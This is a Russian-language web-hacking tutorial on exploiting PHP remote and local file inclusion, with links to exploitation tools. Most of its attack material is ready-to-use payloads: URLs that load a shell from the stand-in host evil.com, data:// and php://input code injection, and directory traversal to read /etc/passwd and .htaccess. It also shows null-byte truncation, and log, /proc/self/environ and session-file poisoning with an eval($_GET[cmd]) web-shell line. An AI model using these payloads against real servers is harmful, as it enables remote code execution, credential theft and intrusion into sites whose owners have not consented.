Веб-хакинг
Мы переходим к изучению атак remote/local file inсlude. Материалов по этой теме не так много, как по теме SQL-инъекций, поэтому собрать все в одном месте было чуть проще.
Введение.
Возможность провести атаку зависит от того, насколько хорошо фильтруются переменные в выражениях:
- include()
- include_once()
- require()
- require_once()
В атаках file include играют значение версия php, настройки в php.ini и версия ОС, на которой крутится веб-сервер.
Простейший пример уязвимого скрипта:
1
2
<?php
include($_GET['file']);
Мы можем подключить к выполнению удаленный файл, передав в параметр file "http://evil.com/myshell.txt" (это будет RFI):
1
http://example.com/?file=http://evil.com/myshell.txt
или файл на сервере "/../../../../var/log/httpd/error_log" (это будет уже LFI):
1
http://example.com/?file=/../../../../var/log/httpd/error_log
В чем разница между LFI/RFI можно понять по этой схемке:
Как мне кажется, все довольно понятно.
RFI.
Как уже было описано выше, удаленный инклюд зависит от того можно ли подключить к исполнению удаленный файл.
Классический вариант эксплуатации довольно прост:
1
2
3
4
http://example.com/?file=http://evil.com/shell.txt
http://example.com/?file=https://evil.com/shell.txt
http://example.com/?file=ftp://evil.com/shell.txt
http://example.com/?file=ftps://evil.com/shell.txt
В shell.txt должен лежать исходный код шелла (ну или код, который вы хотите исполнить).
Если к переменной подставляется расширение или какой-то путь:
1
2
3
4
5
6
<?php
include($_GET['file'].".html");
// Или
include($_GET['file']."_page.html");
// Или
include($_GET['file']."/page_source/index.html");
То это по сути ничего не меняет. В первом случае, мы просто переименовываем текстовик с кодом шелла в shell.html, и пишем так
1
http://example.com/?file=http://evil.com/shell
Во всех остальных случаях, можно просто дописать знак вопроса ("?") или хеш ( "#" в urlencode - "%23"). В первом случае сервер будет считать, что все что идет после "?" это параметры и их значения, во втором случае - просто отбросит все после хеша.
1
2
http://example.com/?file=http://evil.com/shell?
http://example.com/?file=http://evil.com/shell%23
Если http, https, ftp, ftps фильтруются, то можно попробовать использовать другие URL-протоколы (документация). Хотя это уже сложно назвать RFI, потому как подключаемые файлы находятся не на удаленном сервере, а передаются непосредственно в запросе.
К примеру, для инклюда через протокол data://, мы можем написать следуещее:
1
2
3
4
http://example.com/?file=data:,<?php /* тут код простого шелла*/ ?>
Можно обработать base64 и Url-encode:
http://example.com/?file=data://text/plain;base64,PD9waHAgLyog0YLRg9GCINC60L7QtCDQv9GA0L7RgdGC0L7Qs9C%2BINGI0LXQu9C70LAqLyA%2FPg0K
Для инклюда через протокол php://, мы посылаем такой запрос (через Burp Suite, например):
1
2
3
4
POST httр://example.com/?file=php://input HTTP/1.1
Host: example.com
<?php echo "wack wack";?>
Также, с помощью этого протокола, мы можем читать содержимое файлов (http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html)
Есть и другие протоколы, которые в теории могут быть использованы (например except - http://insecurety.net/?p=724) для эксплуатации инклюда.
Ограничения в использовании URL-протоколов:
Протоколallow_url_fopenallow_url_includePECLhttp/httpstruetrueftp/ftpstruetruedatatruephptruefilezlib/zip/bzip2trueglobpharssh2truePECLrarPECLoggPECLexceptPECLВсе, как описано в документации по php.
LFI.
Если перед переменной в инклюде есть какие-то данные, то мы уже не можем подключить удаленный файл:
1
2
<?php
include("/folder/".$_GET['file']);
Как бы мы не хотели, но даже если включены директивы allow_url_fopen и allow_url_include, мы все равно не сможем подключить файл со своего сервера (либо воспользоваться url-протоколами).
Зато, мы можем поместить наш код в один из файлов на атакуемом сервере и подключить его через инклюд. Главное, чтобы он был доступен на чтение.
Чтение файлов.
Все что не является php-кодом, выводится при подключении через инклюд, как есть. Используя это свойство , мы можем читать содержимое файлов, который нам обыкновенно не доступны для чтения, например .htaccess, .htpasswd и прочие (например, защищенные basic-авторизацией).
1
http://example.com/?file=.htaccess
Если мы хотим прочесть файл, который находится ближе к корню, мы можем использовать сочетание "../", чтобы подняться по дереву каталогов:
1
http://example.com/?file=./../../../../../etc/passwd
И если файл /etc/passwd доступен для чтения, то мы увидим его содержимое.
Инклюд загружаемых файлов.
Если на сайте есть возможность заливать какие-нибудь файлы (картинки, музыку, видео, документы), или данные от пользователя попадают в файл (чатик или гостевуха на файлах), то мы можем внедрить свой код в эти файлы (просто дописав его в конец файла), и легко проинклюдить:
1
http://example.com/?file=./../superlogo.gif
Если, же картинки проверяются на валидность, то мы впишем код шелла не просто в конец файла, а в Exif-данные картинки. Я воспользовался программой Exif Pilot:
Затем инклюдим нашу картинку и видим что код исполнился:
Вот вам LFI-XSS )))
Обрезаем расширение, (null-byte и прочие методы).
К переменной в инклюде может подставляться расширение файла:
1
2
<?php
include("/folder/".$_GET['file'].".php");
В таком случае, для инклюда того же /etc/passwd, необходимо каким-то образом откинуть расширение. Обыкновенно для этого используется нуллбайт:
1
http://example.com/?file=./../../../../../etc/passwd%00
Но, на сегодняшний день, это становится почти такой же редкостью, как register_globals=On.
Для примера, я нашел шелл, где стоит php версии 5.1.6. Залил такой скрипт:
1
2
<?php
include ($_GET['file'].".php");
Пробуем проинклюдить /etc/passwd - пустой экран.
Добавляем нулл-байт:
Существуют альтернативы нулл-байту, которые иногда срабатывают, а иногда нет (зависит от версии php и ОС, на которой крутится сервер, их настроек и фазы луны). Прочтите на досуге:
- http://raz0r.name/articles/null-byte-alternative/
- http://intsystem.org/412/issledovanie-php-include/ (!)
- http://blog.ptsecurity.com/2010/08/another-alternative-for-null-byte.html
Инклюд логов.
Мы также можем внедрить свои данные в логи. Это могут быть логи апача (аccess_log, error_log), логи ftp-сервера, ssh-сервера или еще какого приложения (например отдельного веб-приложения, которое пишет статистику по посещениям в файлы).
Делаем такой запрос (используя Burp Suite):
1
2
3
4
5
6
7
GET /123123123123123 HTTP/1.1
Host: example.com
User-Agent: <?php eval(\$_GET[cmd]); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Наш Http-запрос попадает в лог ошибок апача (так как мы обращаемся к несуществующей странице). Нам остается только проинклюдить эти самые логи:
1
http://example.com/?file=./../../../../../../var/log/httpd/error_log
Используем лог ошибок, потому как лог посещений может просто не загрузиться.
Большая подборка стандартных путей расположения логов:
- http://forum.antichat.ru/threads/324564/
/proc/self/environ
В *nix-системах каждый процесс имеет свою собственную запись в /proc. В свою очередь, /proc/self, – это символическая ссылка и неизменяемый путь,
содержащий инфу для недавних процессов.
Самое главное заключается в том, что очень легко исполнить любой свой код, подключив /proc/self/environ. Малость редактируем Get-запрос в Burp Suite:
И кодес, который мы внедрили успешно выполняется:
С помощью того же /proc, мы можем подключить логи. Нужно лишь проинклюдить следующие файлы:
1
2
/proc/self/fd/2
/proc/self/fd/7
2 и 7 это ярлыки на логи апача.
Отправляем хитрый пакет через Burp Suite:
1
2
3
4
5
6
7
GET /i.php?file=./../../../../../.././proc/self/fd/2&cmd=phpinfo(); HTTP/1.1
Host: example.com
User-Agent: <?php eval(\$_GET[cmd]); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
И если логи доступны для чтения, то мы увидим вывод phpinfo().
Файлы сессий.
Можно внедрить свои данные в сессию. Например есть такой код:
1
2
3
4
<?php
session_start();
$var = $_GET['var'];
$_SESSION['var'] = $var;
Передаем в параметр var код, который мы хотим исполнить:
1
http://example.com/?var=<?php phpinfo();?>
По умолчанию, файлы сессий хранятся в /tmp/, но в нашем случае они хранятся по другому пути:
Также, мы легко можем узнать, в каком именно файле хранятся данные нашей сессии. Если в Cookie лежит:
1
PHPSESSID=mlv6qiu6fktfan616o10lu1v88
То мы просто дописываем "sess_" к значению. И делаем инклюд:
Все сработало... Шикардос.
Экзотика. Инклюды через мыло и инклюд с помощью phpinfo().
Есть экзотичный способ инклюда, основанный на том, что пользователь может менять содержимое отправляемых писем, а unix-системы в свою очередь могут сохранять такие письма локально. И эти самые письма и подключаются через LFI.
Полное описание: https://xakep.ru/2009/09/17/49508/ (Полезное мыло)
Инклюд с помощью phpinfo() заключается в том, что мы льем файл на страницу с phpinfo(), с помощью него же, узнаем его местонахождение и через заранее найденную LFI подключаем свежезалитый файл.
Полное описание: https://xakep.ru/2012/01/25/58183/
Если вы ознакомитесь с материалами в конце статьи, то Вы будете в курсе практически всего, что есть в паблике по теме LFI/RFI.
Софт
Что касается софта, то не могу порекомендовать ничего конкретного. Я использовал в основном Burp Suite, иногда - самописные скриптики. Хотя софта для поиска и раскрутки LFI/RFI навалом:
- https://code.google.com/p/fimap/downloads/list
- https://github.com/P0cL4bs/Kadimus/
- https://code.google.com/p/lfimap/
- https://github.com/m101/lfipwn
- https://github.com/rotlogix/liffy
Попробуйте, может вам что-то подойдет.
Ссылки
Более интересные (чем эта статья) материалы по LFI/RFI:
- include | include_once | require | require_once
- http://php.net/manual/ru/wrappers.php
- http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html
- http://kaoticcreations.blogspot.com/2012/01/burp-suite-part-vi-more-fun-exploiting.html
- http://kaoticcreations.blogspot.com/search/label/LFI
- http://raz0r.name/articles/null-byte-alternative/
- http://intsystem.org/412/issledovanie-php-include/ (!)
- http://blog.ptsecurity.com/2010/08/another-alternative-for-null-byte.html
- http://forum.antichat.ru/threads/324564/
- https://xakep.ru/2009/09/17/49508/
- https://xakep.ru/2012/01/25/58183/
- http://insecurety.net/?p=724
- https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
- https://rdot.org/forum/showthread.php?t=343
- http://forum.antichat.ru/threads/232773/
- http://forum.antichat.ru/threads/71902/
- http://forum.antichat.ru/threads/18368/
- https://hpc.name/thread/30214/p1.html
- http://habrahabr.ru/company/xakep/blog/112691/